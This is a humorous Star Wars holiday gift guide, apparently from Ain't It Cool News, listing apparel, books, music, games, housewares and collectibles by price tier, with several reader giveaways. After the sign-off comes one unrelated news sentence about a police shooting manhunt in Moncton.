Why go for a boring old headscarf to keep warm this blustery winter when you can turn yourself into an Ewok instead? $24.99.
Ahahahahahaha. Ahem... This AT-AT costume for your dog is pretty coolahahhahahahhahahahaha. Please get it and walk your dog in it. Please, please, please! $14.82.
Moderate ($25.00-$70.99)
Somehow this dog costume is only slightly less ridiculous than the AT-AT one. I love them both. I'd never subject my dog to that kind of humiliation, but I'm so, so, so down for you guys to do it. I just hope I see one in the wild someday so I can never stop laughing. $39.99.
My favorite thing about this necklace is that it's going to turn some Christian heads when you're out and about. It seriously looks like a geek crucifix. Thank goodness they didn't invert it or else you could be accused of being a Satanist. A nerd Satanist. $29.99.
Captain Phasma ring for your dirty First Order-loving fingers! Stainless steel, dig? That means it's super shiny, just like the real life Captain Phasma! Available in ring sizes 9-12! $34.99.
BB-8 might be getting all the attention right now, but R2D2's still the king of random Star Wars tie-in merchandise (wait until you see what's in the Geek Housewares section!). Case in point, this admittedly cool-looking R2D2 knapsack. Lotsa pouches, pockets and carry room. Is there anything that little droid can't do? $47.94.
This will not be the last ugly Christmas sweater in the Guide this year. You've been warned! Festive Stormtroopers and Vader! You can get either geeky sweater in S-3XL. $49.99.
Tis the season to be Jabba, fa-la-la-la-laaaa la-la la la. Her Universe has a pretty funny Star Wars Christmas sweater to geek out over. Luke, Han, Leia and Chewie as carolers is a great idea and the shirt looks awesome. Pretty sure this is made for the ladies, but I won't tell anyone you're wearing a girl's sweater, guys. Available in sizes S-2XL. $40.00.
This Darth Vader Puff Jacket might not be as warm as the insides of a Taun-Taun, but it sure smells a hell of a lot better. Available in S-3XL. $65.31.
Yeah, a glow in the dark lightsaber hoodie, modeled after the Return of the Jedi teaser poster. Yep, yep, yep. That's certifiably rad as hell. Sizes S-3X available. $49.99.
Another ladies pieces of Star Wars nerdiness from Her Universe, this time dipping into the new stuff. Here is your very own BB-8 Bomber Jacket, available in XS-3X. $60.00.
If a nice dress is more what you're looking for, then Her Universe has you covered there, too, with this BB-8 dress. XS-2X available. $50.00.
BB-8 doesn't look like he holds a bunch of stuff, but what he lacks in storage space he more than makes up for in personality and love and I WANT SO BAD GIMME MY OWN REAL LIFE BB-8 DROID PLEASE THANKS. $38.99.
I guess you have to go to the Imperials if you want efficient cargo space. There are, like, a million pockets to this thing! Just don't try to shoot anything while wearing it. Your aim goes to shit. $57.94.
You can carry around your junk in this backpack. It should be quite well preserved. Han Solo In Carbonite Backpack. Ain't he cute? $39.99.
BOOKS
Cheap ($24.99 and under)
PRE-ORDER, December 18th. Oh my God, you guys. The Force Awakens is almost here! If you're anything like me one of the things you're most excited about is uncovering every little detail about the new world being set up, which makes the Art of The Force Awakens a top, top priority. It doesn't come out until the movie does (for obvious reasons), but if you want to make sure you get it in time for Christmas pre-order now! $23.84.
PRE-ORDER, December 18th. If Episode 7 details are what you're after then Pablo Hidalgo's Visual Dictionary is for you. You'll get up close and personal with all the new goodies, from Kylo Ren's lightsaber to BB-8's... uh... ball? I don't know, but I'm sure there's going to be some great, illuminating stuff in this thing. $14.02.
PRE-ORDER, December 18th. In this book you'll see detailed breakdowns of the new vehicles from The Force Awakens. You'll see new ships pulled apart, get a feel for their full layout, see exactly what kind of weapons systems they have, etc. We're getting into some deep-ass nerd territory here and I couldn't be happier about it. $14.02.
This one is a little less intricate and more for the kiddies than it is for the big geeks, but it's still got a ton of Star Wars goodies in it, including a foldout highlighting new ships from The Force Awakens. $9.16.
I bought Aftermath when it came out because I was so gung ho excited for The Force Awakens. I had some difficulty with the writing (which feels like bad fan fiction at times), but I have to say it was exciting to read something officially canon that connects Jedi to The Force Awakens. There are a few books that cover this time period that have come out, but this was the first. $16.80.
Han and Chewy get their own new adventure as well. Well, a new old adventure. This one takes place between Star Wars and Empire, but with hints dropped throughout that nod to stuff we'll see in the new trilogy, supposedly. Haven't read this one yet, but it's supposedly the pair on a top secret mission for the Rebellion. $7.14.
Luke's solo (yuk-yuk-yuk) adventure story also takes place between Star Wars and Empire and has him facing off against some new villain while stranded on a mysterious planet with only his faithful droids to keep him company. Same as before, hints about Episodes 7-9 are in there somewhere. $8.22.
Moving Target is the new officially official Leia novel, taking place between Empire and Jedi. Same as before, hints at what's to come, apparently. I'm told it's best to read this after Weapon of a Jedi and Smuggler's Run. $7.79.
This Young Adult novel tracks the events of Episodes IV-VI through the eyes of childhood friends and sweethearts who are pulled apart by the war, one joining the Rebel Alliance, the other becoming an Imperial Officer. You don't just get OT stuff from a different perspective, we also get a look post Jedi as well. Faaaancy. $9.89.
I've heard real good things about Star Wars: Tarkin from the author of the popular Darth Plagueis expanded universe book. I don't know if this is considered canon or not, but whatever it is I'm told it's a great read. $6.42.
Lords of the Sith is a great idea. Again, I don't think this counts as “real” anymore, but of all the new EU stuff this one grabs me the most. It has both Palpatine and Vader stranded together on a hostile planet and having to count on each other (and the Dark Side) to survive. Set shortly after Episode III this is what supposedly cemented Vader's loyalty. Cool idea. $17.11.
PRE-ORDER, December 18th. For the younger Star Wars fans, here's a replica journal with notes on salvaging and survival tips as written by Rey. $9.18.
Another one for the younglings. Learn more about the droids of the Star Wars universe and even build your own with some press-outs. You can even make a BB-8 that actually rolls thanks to an included wind-up base! $15.19.
Released earlier this year, Ultimate Star Wars has just about every bit of info you could want from the films and Clone Wars and Rebels cartoons. $23.84.
PRE-ORDER, January 26th. Star Wars Insider was the official Star Wars fan magazine for a long, long time and as such they had a lot of access to Lucasfilm. This is Volume 1 in their Best Of series that recollects the best articles from the magazine that sheds light on your favorite moments from the films. $15.47.
Lego Star Wars: Small Scenes From A Big Galaxy is a photography book which recreates Star Wars movie moments with Lego characters and sets built out of Lego blocks.$13.74.
Dan Casey put out that nifty Avengers trivia book, but he wasn't content with covering only Marvel and set his sights on the big enchilada. Dan's a funny dude, so even if you're one of those Star Wars fans that knows every single piece of trivia ever I'm sure you'd get something out of this read. $12.17.
Ah, sweet! This book reprints all 1977 and 1978 Topps Star Wars cards, front and back, and doesn't forget about the stickers. Too cool! $14.50.
You might remember a book that George Lucas put out that pulled single frames from all the Star Wars movies. It was cool, but super expensive. This here release is a spin-off of Frames, that takes 100 of them and makes them nerdy postcards! Not bad. Not bad at all. $19.09.
Original Trilogy stories retold in a kid's picturebook fashion with some really pretty illustrations from Brian Rood. A great gift for the little, little kiddos in your life. $10.93.
If you ever thought Where's Waldo was missing Wookiees then this book is for you. Find Chewbacca... just watch your arms. He doesn't like to lose, or so I hear. $13.06.
A new entry in the series of cutified Star Wars books, this one focusing on friendships in the galaxy far, far away, be it Palpatine and Vader, Threepio and Artoo or Leia and the Ewoks. $10.71.
This is the new Visual Guide for Seasons 1 and 2 of Star Wars Rebels, which is the cat's meow so buy this book to support it since I don't think anybody's paying much attention to that little Star Wars franchise right now. $13.55.
Covering much the same ground as Aftermath (time-wise, anyway), this comic book series takes a look at what happened immediately after the destruction of the second Death Star... It involves Poe Dameron's mommy and daddy, but that's about all I know. I've ordered this myself since I hear all the Star Wars comics are on point and was just waiting for the trade paperbacks to start coming out. $10.82.
This trade takes issues 1-5 of the new Star Wars relaunch series from Marvel. Another post A New Hope series for ya'. $10.99.
Marvel's got a few Star Wars spin-off books out. This one is a Princess Leia focused one, written by Mark Waid, as everybody's favorite space princess mourns the loss of her home planet and helps fugitive Alderaanians on the run from the Empire. $9.34.
We're getting books showing what the Rebels were up to after A New Hope and now here's one about what Vader was doing. Word on the street this is the best of the new Marvel Star Wars books and the very little I've read of it (just one teeny tiny issue) I believe the hype. $13.89.
PRE-ORDER, January 5th. Volume 2 of Marvel's Darth Vader comes out early January and you can pre-order now, so why wait? What's well begun is half done, as they say, so get on it. Spit-spot! $13.89.
We know that Kanan survived Order 66, but not exactly how or what happened after... until this comic book. $12.50.
PRE-ORDER, January 19th. Hello, what have we here? It's about gosh darn time Lando gets his own series! And it's good, too! $13.59.
After all these new fangled Marvel Star Wars comics it's nice to go old school. They've remastered and reissued the first 6 issues of the 1977 Star Wars comic, covering the events of the fist movie. And that's not all they did! Keep scrollin'! $15.61.
They also grabbed the Star Wars issues that covered the events of Empire Strikes Back! $15.43.
And we can't forget Jedi! $15.43.
Moderate ($25.00-$70.99)
Tons of Marvel covers done by great artists like Adi Granov, Joe Quesada, Alex Ross and tons more! $25.59.
Straight from the Lucasfilm archives! They pulled out all their iconic wardrobe from the Original Trilogy and got high res photos of them as well as nifty vintage photography of the actors actually wearing them. Super cool book to get the Star Wars nerd who has everything. And yes, there's a whole chapter on Leia's metal bikini, you pervs. $39.47.
Art Director Alan Tomkins' career spanned everything from Lawrence of Arabia to Saving Private Ryan and a little movie called The Empire Strikes Back. He shares rare art sketches and photos from his entire career, including Empire... Don't be expecting an in-depth behind the scenes look at Empire, though. It's covered, but not the sole focus despite what the cover and book's title are trying to make you think. Still, if you love other movies besides Star Wars you won't be disappointed with this. $33.97.
Expensive ($71.00-$249.99)
Almost 900 pages of the original Marvel Star Wars Comic Books, collecting issues 1-44 and the first Annual. What better way to get in the Force Awakens spirit than by reliving these early Marvel stories, only a fraction of which cover the events seen in the movie. Some crazy shit in these issues! $84.27.
MUSIC
Cheap ($24.99 and under)
PRE-ORDER, December 18th. There are many things I'm excited about when it comes to Episode 7, but nothing trumps my anticipation of a new John Williams Star Wars score. No frills, no booklets, no lenticular cover... Just a new CD packed full of brand new Star Wars music by John Williams. No big deal... HOLY SHIT YOU GUYS IT'S ALMOST HERE! $13.98.
1980 saw the release of a Star Wars Christmas album. Official Star Wars Christmas album, with Anthony Daniels returning as Threepio and Ben Burtt giving voice to R2 and Chewie. This CD remaster includes all songs (including “What Can You Get A Wookiee When He Already Has A Comb” and “R2D2 We Wish You A Merry Christmas” which, believe it or not, has lead vocals done by a young upstart named John Bongiovi... who would later change his name to Jon Bon Jovi. I'm not pulling your leg! This is real! (Yes, it's a CD, but a CD made to look like an LP. I know it's confusing, but trust me it'll play in your CD player). $18.98.
Expensive ($71.00-$249.99)
PRE-ORDER, January 8th, 2016. This box set gathers John Williams' scores for Star Wars Episodes 1-6 in one handy set, complete with a bonus audio disc featuring new interviews with Harrison Ford and John Williams. They've also included the DVD of Star Wars: A Musical Journey. It's a little bit of bullshit they're not packaging The Force Awakens in there, but it's all great music so I can't get too upset. $74.98.
PRE-ORDER, January 8th, 2016. This is the reason to double dip, in my personal opinion. Having all 6 Star Wars soundtracks on vinyl sounds incredible to me. I have original pressings of Star Wars and Empire, but that's it. I have... complicated feelings when it comes to the prequels, but none of that bleeds into Williams' music, which was top notch the entire way through Star Wars. It's also important to note that the track listing for the Jedi LP indicates “Ewok Celebration & Finale” as the final track. Yes, that's the Yub-Nub song. That's worth the price of the records alone! $199.99.
GAMES
Cheap ($24.99 and under)
Yeah, it's kinda cheap and plastic-y by traditional Special Edition Monopoly standards, but it's the first time you can really play something as new Force Awakens characters! $19.99.
They say this edition of Battleship has new Star Wars ships, but all the pieces I've seen look like regular SW ships, but still... Star Wars Battleship is the perfect thing to play with the kiddos as you get close to December 18th... $15.00.
Star Wars Risk! What's interesting about this special edition is that the board is in the shape of a TIE fighter (more like a TIE Interceptor... oh, I just popped a blood vessel in my eye for straining my geek brain too much...). Not exactly sure how that would play, but the game is well-reviewed and cheap (for Risk). $23.77.
Moderate ($25.00-$70.99)
So, this is still Sorry, but now it's in the shape of the Millennium Falcon and it has BB-8 on the box! I'm not sorry I included this Sorry because it has The Force Awakens on it. Not sorry for Sorry, so don't ask me to be sorry. Okay, I'm done. $29.95.
Disney Infinity makes me feel really old. I get the collector mentality, buying little figures that actually unlock the ability to play them in game and all that, but other than that I felt lost when my nephews were running me through it after I bought them a Rocket and Groot. So, it's not for me, but the kids love it and now they'll love it even more since Star Wars is finally coming to Disney Infinite. This is the starter set, which comes with Clone Wars Anakin and Ahsoka and a new Play Set Piece. $49.99 on Xbox One and $48.50 on PS4.
I've only gotten a chance to play about an hour and a half of Battlefront (I make so many sacrifices for you guys! I'm a damn living Saint!) and it seems to be a game that is best enjoyed with your friends. I can't imagine having much fun joining in to get your ass kicked by 13 year olds all by your lonesome is much fun, but it's a blast running around in Star Wars environments, hearing the music and familiar sound effects while you're blowing away Stormtrooper with your buddies. Looking forward to spending more time lost in this over the holidays. The game comes in two editions, the deluxe only really gets you early access to Han's blaster, which is a monster in the game, so it might be worth the extra $10. $59.88 regular edition on Xbox One, $69.99 deluxe edition on Xbox One and $59.88 regular edition on PS4, $69.88 deluxe edition on PS4.
Expensive ($71.00-$249.99)
If you're looking at PS4, this Battlefront Bundle is pretty good. You only get 500 gigs internally, but you save some cash. $349.00.
GEEK HOUSEWARES
Cheap ($24.99 and under)
A Dagobah shower curtain is just about the coolest thing ever, right? This could have come off as really cheesy, but it's uses beautiful art to keep the kitsch factor at a manageable level. $24.99.
You can not get that shower curtain without then buying these hand towels. I don't care what your financial situation is, you buy those as a pair or the whole thing's off! His and Her Hand Towels with the I Love You/I Know exchange is one of the best Star Wars merch ideas I've ever seen. $19.99.
From the same people that made the Jaws decals comes this show stopper of nerdy Star Wars items... turn your toilet into a Sarlacc pit! It's both disgusting and awesomely nerdy at the same time. $25.00.
I have one of these toilet Sarlaccs to give away as well. All you have to do to win is email me at this email address with the subject line “I'm Wanna Poop Down That Sarlacc's Throat!”. Make sure to include your mailing address and phone number in the body of the email should you be one of the lucky winners. I will pick them at random sometime between the posting of this article and 11:59pm CST Saturday, November 28th. The contest is open to the entire world! Good luck!
This set of Star Wars throw pillows are perfect for geeks of all walks of life. If you're the kind of fan that flaunts it and doesn't care, leave R2 and 3PO out for all to see. If you're more closeted, you can flip 'em over to the plain side when your normal friends come over. $24.99.
The Force Awakens is about to take over all our lives, so of course you're going to want to get a jump on that rush of excitement with these pint glasses. Drink from Kylo Ren's head! $23.38.
There's also this set of The Force Awakens Heroes and Villains pint glasses. These are a little tougher to get your hands on, but if you can get 'em you'll be cooler than all of us! $23.99.
PRE-ORDER, January 2016. How cute is this mug? I mean, it's kind of disturbing when you think about drinking coffee or some other black liquid out of it... it's like you're a droid vampire. Still, BB-8 probably won't mind you putting your dirty lips all over his little dome head. $14.99.
This BB-8 mug is actually available right now. Figured it'd be nice to have one you could actually get right now. Made for you coffee addicts, obviously. $19.56.
Can you imagine rocking this out at the office? Yeaaaah, I'm gonna have to ask you for that weapon... yeaaaahhhh... $15.98.
Here's a different kind of Kylo Ren mug... when you pour hot liquid in he ignites his lightsaber. Incredibly cool, is it not? Got a few more like it below, but you can get this one for $11.99.
Vader gets in on the action here, too. He's got some big words backing him up. Literally. $11.99.
The light side gets in on the hot liquid changing mug action in this epic space battle powered by your morning dose of caffeine. $11.99.
The idea of holding a furry beer or soda doesn't sound too appealing, but I also want my very own can-shaped Chewbacca to join me on my adventures, so I'm torn. This furry Chewbacca Koozie is a conundrum, I tells ya'. $10.99.
I find your fridge's lack of Star Wars geekery disturbing. Old and new represented here, with BB-8 and R2 being all magnetic together. $9.99.
Star Wars cookie cutters come in a set of 6. You get Vader, Yoda, Chewie, Threepio, a Stormtrooper and Boba Fett. That's a whole lotta cookie geekery in store for you! $14.99.
That's no moon. That's a kitchen timer. If you want to go all out when baking those Star Wars cookies from above you can go for this spring-wound Death Star Kitchen Timer to let you know when it's time to take them out of the oven. Or blow up Alderaan. One or the other. $14.99.
So this plate set is more for the little jedis or sith in your household, but I won't tell if you want your very own plastic Phasma and Kylo plate/bowl/tumbler. It'll be our little secret. $14.99.
That hunka junk has it where it counts... and by “it” I probably mean hors d'oeuvres. That is indeed a serving tray and it is glorious, isn't it? Don't lend it to Lando, though. You'll get it back all dinged up! $19.99.
BB-8 wants in on this food-serving action, too. We don't even know him yet and he's already being super helpful. $19.99.
Death Star cutting board. It comes with non-slip rubber feet, a heat-resistant glass surface and an exhaust port just big enough for a precisely fired proton torpedo. $19.95.
By the time we're done with this guide your kitchen better be transformed. Hell, you could almost go entirely Death Star themed at this point. To help you reach that goal here's a Death Star chip bowl set! $19.99.
Since we don't get to have real life lightsabers we can at least get one that will cut something up for real. Pizzas, in this case. In previous years I've included an R2 pizza cutter and an Enterprise pizza cutter, so it was only a matter of time before we got a lightsaber one. Plus it's less clumsy than the blaster pizza cutter... $19.95.
Here I thought Spatula City had every kind of spatula, but apparently that's not true. You're full of shit, Weird Al! This fancy Death Star spatula is one of those heat-resistant silicone jobs. I know it's cool, but don't be too proud of the technological terror you constructed. The power to flip a pancake is insignificant next to the power of the Force. $15.95.
R2D2 has been many things in the world of Star Wars merchandise, including a series of measuring cups. That's strangely attractive to this homeowner who fancies himself a minor (very minor) cook. R2 breaks down into four different measuring cups. 1 cup, ½ cup, 1/3 cup and ¼ cup. Oh, and he'll project the Princess Leia message if you get the recipe just right. I might have made that last one up.... $19.99.
These aren't the cookies you're looking for. Move along. Stormtrooper oven mitt. That's what that is, in case you had trouble figuring that out. A silicone one, not one of those padded ones. The more you know. $14.99.
This R2-D2 Bento Lunchbox that has different compartments that stack on each other, so you don't get all your food cross contaminating each other. Can't have that! Plus it makes it harder for Yoda to steal your food like he did with Luke the first time they met. $19.99.
If you want an R2 lunch box alternative, might I suggest the softer “lunch kit” offered by Thermos? It lights up and beeps! $19.17.
Every year there's at least one “They made an R2-D2 what, now?” There's a couple this year, but none weirder than the R2-D2 screwdriver. I mean, I get the link. He's always handy with the right plug-in needed, but this thing can't possibly be easy to handle, can it? It looks cool, no matter what, so there's that. $15.99.
Collecting Hallmark Keepsake ornaments was never a big thing for me... until I bought my house. Now I must have a new one (or four) for the tree every year. It just feels right and a great way to mark passage of the years. I've already ordered Kylo here because I will always know when I bought him and just how excited I was for his introduction into the Star Wars cinematic universe. $16.95.
Phasma ornament! Captain Phasma ornament! Holy shit, it's beautiful! Shiny! Imagine your tree lights reflecting off of that armor! $24.59.
Vader's in the Holiday spirit, too. He's more expensive than Kylo, but he also talks to you, so quit your complainin'! $24.95.
If you want a little light side in your tree this year, festive R2's got you covered. Judging by his headgear he might have dipped into the eggnog, fair warning. $19.99.
Moderate ($25.00-$70.99)
In terms of bang for your buck, this The Force Awakens ornament set is your best option. For less than $40 you get 6 rad-tastic ornament representations of Kylo, Rey, Finn, BB-8, Phasma and a Flametrooper. $39.95.
I find your lack of stocking stuffers disturbing. Have a Dark Lord of the Sith make sure your holiday sock doesn't fall down. $29.83.
This AT-AT lawn ornament is a perfect item as we head into the blistery winter season. Not in Austin, we don't get snow, but if you do then this is going to look doubly badass in your front yard. The Battle of Hoth recreated in your garden! $39.99.
This BB-8 desktop lamp is pretty adorable. You turn on the light by pressing down on his head. So you have to pet him to illuminate your room. Amazing. $39.99.
If touching BB-8's head is too much work for you, but you still want to have the droid light up your room, I have another lamp option for you. Also available in Threepio, R2 and Stormtrooper designs. $39.99.
Kylo Ren's head can stick to your wall and light up your room with his red visor thing. I don't think that's a spoiler because this same company also made a Vader wall light head thing that has light up red eyes. Or maybe Kylo's got Cyclops powers, I don't know. $39.99.
It was only a matter of time before someone thought up a paper lantern Death Star. I mean, both are round and the real Death Star lit up real bright once. Real bright. $39.99.
How pretty is this Millennium Falcon, you guys? Light up glass lamp thing that I didn't know I needed until I saw it. $69.85.
You know those USB charger wall plugs that have a couple different USB ports so you can charge multiple devices at once? This is one of those, but it's in the form of R2-D2. $29.99.
Smart phones drain their batteries at an alarming rate. Most professionals have to carry an external portable battery, so why not have yours look like a lightsaber? I expect to see a lot of these next time I'm at Comic-Con... $29.99.
R2's a little teapot, short and stout... The handle and spout aren't canon, I don't think... $44.49.
I don't know. Chop casual. This Millennium Falcon cutting board is made of wood, which means your knives will stay sharper longer. Is there anything Han's bucket of bolts can't do? $29.99.
Lightsaber tongs... yes, it actually makes lightsaber sounds when you press the button on the handle and it also comes with a see-through red saber sleeve for when the tongs aren't in use. Vader's saber has never been more practical! Except when cutting off Luke's hand. That was a pretty good, too. $39.33.
PRE-ORDER, February 2016. These delicious waffles are each capable of destroying an entire planet, so you better eat 'em up before they do that. $39.99.
This talking Darth Vader cookie jar would make a great companion gift to that Star Wars cookie cutter set from earlier in this section. Search your feelings, you know it to be true. $39.95.
Oh, god! Someone decapitated R2! Luckily for us his decapitated head still wants to help you out, so you can turn him into a bluetooth enabled speaker. You can even take calls through him! You gotta get someone to sign off by saying “Help me, Obi-Wan Kenobi. You're my only hope.” You just hafta. $49.99.
It's now been confirmed that Darth Vader is a dirty ol' Peeping Tom. Shouldn't come as much of a surprise, honestly. He did wipe out a ton of little Jedi kids once and will choke any bitch at the drop of a hat. If you want to take a shower with Vader all you need is this nifty shower head. Doesn't require any special tools to install and comes with a life-time warranty. If you only knew the water pressure of the Dark Side... $59.96.
Han Solo In Carbonite Rug. Yes, please. 31x71 inches of pure unadulterated geek goodness right there. $49.99.
A Yoda Yoga Mat? Brilliant. Inspirational and saying it out loud makes it sound like you're speaking in tongues, so bonus. $27.99.
Expensive ($71.00-$249.99)
PRE-ORDER, January 2016. Look at the detail on these AT-AT bookends. It's so good they almost look like the original models, don't they? Expensive for mini-AT-ATs, granted, but really cool looking. $224.99.
The Japanese thought it would be a good idea to make an R2-D2 trash can and here we are. Thinkgeek have exclusive rights to sell Trashy-D2 here in the States and I gotta admit it's kinda cool. He's knee-high to an average adult person and when you step on his center foot his dome opens and invites you to dispose of your blue milk carton. $129.99.
Your beer and/or soda should be quite well protected in this Han Solo In Carbonite Fridge. Cool thing, this is one of those fridges that can be either hot or cold depending what you need it for. Just don't let Boushh around it. Shifty look to that one, keeps hanging around my favorite decoration. $149.99.
TOYS/COLLECTIBLES
Cheap ($24.99 and under)
Disney Store has a lot of good Force Awakens exclusives, but here's one set you can get easily online with little teeny tiny click via Amazon. That gives you Kylo, BB-8, Phasma, Ray, Finn and a Flametrooper without having to hunt them down one by one! $22.49.
Rey's speeder has already made an impression just based on the glimpses we've gotten in the trailers. One of the more inexpensive Lego sets you can get is this one for that speeder and yes, it comes with a little Rey and something called an Unkar's Thug. That can't be good. $19.87.
While we're talking about Rey's Speeder, how about we take a look at Hasbro's toy (sized to fit the 3 ¼ inch figures). $19.99.
Oh yeah, let's also give one away! Hasbro is allowing one of you fine folks to spend your Holiday season with little Rey and her Speeder bike. All you have to do to win is email me at this email address with the subject line “I Feel The Need For Rey's Speed(er)”. Make sure to include your mailing address and phone number in the body of the email should you be one of the lucky winners. I will pick them at random sometime between the posting of this article and 11:59pm CST Saturday, November 28th. The contest is open to US residents only (sorry rest of the world). Good luck!
Gotta give a little love to Star Wars Rebels here. This vehicle set comes with Kanan and a Y-Wing Scout Bomber. $19.99.
I got another Hasbro giveaway for ya'. All you have to do to win is email me at this email address with the subject line “Kanan Can Bomb My Scout Anytime”. Make sure to include your mailing address and phone number in the body of the email should you be one of the lucky winners. I will pick them at random sometime between the posting of this article and 11:59pm CST Saturday, November 28th. The contest is open to US residents only (sorry rest of the world). Good luck!
So this basically gives you a Millennium Falcon laser gun and it projects a space battle on the wall and lets you shoot at TIE fighters. Reminds me a lot of the light-throwing toys I had as a kid (I remember a ghostbusters one that was a proton pack that would project a ghost on the wall when you aimed the proton stream thingy). This also comes with some glow in the dark TIE fighter decals. $22.93.
Science! I love that there's a whole slew of toys out there that's taking young people's love of Star Wars and using it to teach them a little science. This kit mimics Force manipulation using static electricity. I know that sounds more like what a Sith would do, but as long as you kid doesn't start cackling about ultimate power you should be all good. $21.45.
I think my eyes rolled out of my head when I read the words “Frylo Ren” but even I have to admit that's a pretty amazing pun. Super cheesy, but what else would you expect from a Mr. Potato Head Force Awakens tie-in? $12.29.
I got another Hasbro giveaway for ya'. All you have to do to win is email me at this email address with the subject line “Call Me Darth Hashbrown”. Make sure to include your mailing address and phone number in the body of the email should you be one of the lucky winners. I will pick them at random sometime between the posting of this article and 11:59pm CST Saturday, November 28th. The contest is open to US residents only (sorry rest of the world). Good luck!
Moderate ($25.00-$70.99)
I love the idea behind this Death Star home planetarium. It projects fictional planets from the Star Wars Universe, but it also has Earth's starfield as well. My 8 year old nephew gets all Rain Man when it comes to constellations. Space fascinates him and I'm doing my best to get some movie geek in there, too, so this would be a perfect gift for him. I was the same way as a kid. I loved the stars and mystery of outer space. Very neat gift, this one. $25.61.
These vehicles remind me of the big Falcon releases of my childhood. One kind on the block always had it and everybody'd want to play with it. This is the new First Order TIE Fighter complete with firing missile bolts and pilot figure. $31.99.
This is Hasbro's big ol' release of Poe Dameron's nifty Black and Orange X-Wing from The Force Awakens. You get the large X-Wing (it really is big), Poe and, if I'm not mistaken, a little BB-8 that fits snugly in the Astromech slot. $39.97
Contest time, contest time! I got one of these to give away, courtesy of Hasbro. All you have to do to win is email me at this email address with the subject line “Where's BB-8's Scrotum, Poe?!?”. Make sure to include your mailing address and phone number in the body of the email should you be one of the lucky winners. I will pick them at random sometime between the posting of this article and 11:59pm CST Saturday, November 28th. The contest is open to US residents only (sorry rest of the world). Good luck!.
Lego Snowspeeder. This time it looks like the bad guys get to rock the snowspeeders. Ah, too much info already! I don't want to know! I do, but I don't! $32.00.
Every year Lego puts out an Advent Calendar and this Star Wars related one is pretty nifty. I loved the chocolate-filled advent calendars my grandparents always gave me as a kid, but I would have flipped my shit to have gotten geeky Lego ones! $64.99.
Expensive ($71.00-$249.99)
One of the most jazzed about Force Awakens products is this Sphero remote controlled BB-8. I don't have one because I'm lame, but I've seen people all over my social media losing their shit over it. It's out of stock all of the place, but you can still get it right now via some Amazon sellers. $179.99.
Black Series doesn't just mean cooler single figures, they also go bigger. In this case, huge. This is definitely a classier, more detailed upgrade to the regular TIE fighter they released. This is scaled to the 6” figures (not the 3 ¼ figure) and the First Order TIE actually fits two 6” figures. Super fancy! $169.99.
R2 here isn't Hot Toys, but he is a sweet Sideshow creation. 1/6 scale and he comes with a ton of extras, like Luke's saber, the drink tray thing on his head and all sorts of robot arms. He's also part of a Sideshow free shipping promotion, so that's an instant $15-ish savings! $149.99.
ForceFX's Kylo Ren saber is another high in demand item this Holiday Season. I've found a few on Amazon, but the mark-up was too ridiculous, so I'm linking to Entertainment Earth, who promises to have a shipment this December. $199.99.
We got Kylo Ren represented in a lot of ways in this guide, but we haven't gotten his ship yet, so we're gonna do that in the form of this 1000+ piece Lego set. $104.99.
Bad ship, now good ship! It's our old buddy, the Millennium Falcon! Square radar dish! This is going to be an epic build at over 1300 pieces, plus you get Han, Chewie, Finn, Rey and some pirate dickheads! $141.18.
Lego First Order TIE Fighter because I've put damn near every other toy version of the new TIE in this guide, so why stop now? Can you tell I'm a little excited to see this sucker in action? $71.50.
Another Science-y Star Wars toy. The Force Trainer uses the power of your brainwaves to actually make shit happen. Manipulate holograms in scenarios that re-enact stuff from the movies. Another great present for the aspiring science kid in your life. Assure they are shunned and wedgied for their entire high school tenure with this gift! $79.99.
I gather material for this Guide pretty much all year. My notes on this one is “Crazy Yoda talking statue thing from Target.” I saw this guy at Target and he blew me away. Yoda teaches you the ways of the Force and will actually let you Force push him when you train. He also whips out his lightsaber and goes all whupass around the place. Definitely one of the cooler high tech Star Wars things out there this holiday season. And yes, you can get him at Target, but he's actually cheaper at Amazon (by about $50). $129.00.
Amongst the huge batch of new Star Wars merch is this remote controlled AT-AT that comes complete with it's movie-accurate sound effects and mouth-blaster things. $152.95.
Play Arts made a very cool Darth Maul that has 20 points of articulation, which means you can pose him in many different ways. Don't get any bad ideas, pervos. $138.45.
Sideshow's Sixth Scale Red Five Pilot Luke is amazing looking! The level of detail in these figures from places like Sideshow and Hot Toys never ceases to amaze me. Click through and look at all of their pictures... some of them look like photos of Mark Hamill from 1976! $239.99.
PRE-ORDER, December 2015-February 2016. The Hot Toys Kylo Ren is expected to ship in December, but knowing Hot Toys it'll probably be more like September. I kid, I kid! These things are totally worth the wait. I'm addicted now. I have four and the only thing that's keeping me from getting more is my stupid bank account. Kylo looks amazing, as should be expected. The work on the lightsaber in particular is crazy good. $224.99.
PRE-ORDER, May 2016. This is the first time I've taken a real hard look at that Phasma image Hot Toys and it occurred to me that while I have no idea how the story and character interactions are going to play out in Abrams' Star Wars, I'm already in love with the look of the movie. The used world aspect of the original trilogy seems to be in full swing and you can see that evidenced in this Phasma Hot Toys figure. Kylo's cool, but if I pull the trigger on any new Star Wars Hot Toys it's for sure going to Phasma. It's simply a stunning piece. $249.99.
PRE-ORDER, December 2015-January 2016. Another example of exquisite design in the new movie. The First Order Stormtrooper is somehow both fresh and new and not all that far removed from the original look. If that ends up being the overall tone of The Force Awakens I'm going to be a really happy geek. The Hot Toys First Order Stormtrooper looks great! $204.99.
Remember when I say I have four Hot Toys figures? This is one of them. I couldn't turn down the chance to pre-order this rad A New Hope Han Solo and I can say he looks great in person. Almost like he runs around my place when I'm asleep discovering new wonderful smells. Han is shipping now and will run you $229.99.
For The Super Rich Only ($250.00 and Up)
Han as a Stormtrooper, courtesy of the folks at Gentle Giant. Sixth scale, limited polystone statue that doesn't put up with boring conversations or old geezers. $215.25.
PRE-ORDER, December 2015. Hot Toys' A New Hope Darth Vader is yet another jaw-dropper. The level of detail is so fine that it damn near makes a grown geek cry with happiness that this is buyable. $299.99.
The rare Quarter Scale Hot Toys figure and we get the galaxy's baddest bounty hunter! He's highly articulated, which isn't common for figures as big as he is. He comes with his blaster rifle (and a damaged version, the one Luke cuts in half) and a bunch of other little things. $469.99.
PRE-ORDER, Q2 2016. Owning this is the next best thing to having the actual screen-used Kylo Ren helmet. The original prop was analyzed, scanned and studied in-depth to make sure every bump, texture and scratch was accurate. You really should click through and look at all the pictures from different angles to see how used the helmet appears to be. It's definitely seen some action. This is an insanely cool prop replica and could be the basis for the best Kylo Ren cosplay ever. $699.99.
Thanks for reading along, squirts. Hope you liked this Star Wars Special Edition better than the other Star Wars Special Edition!
Happy Holidays!
-Eric Vespe
”Quint”
quint@aintitcool.com
Parts of Moncton in Canada remain on lockdown as authorities hunt for a man accused of shooting five police officers, killing three, on Wednesday.
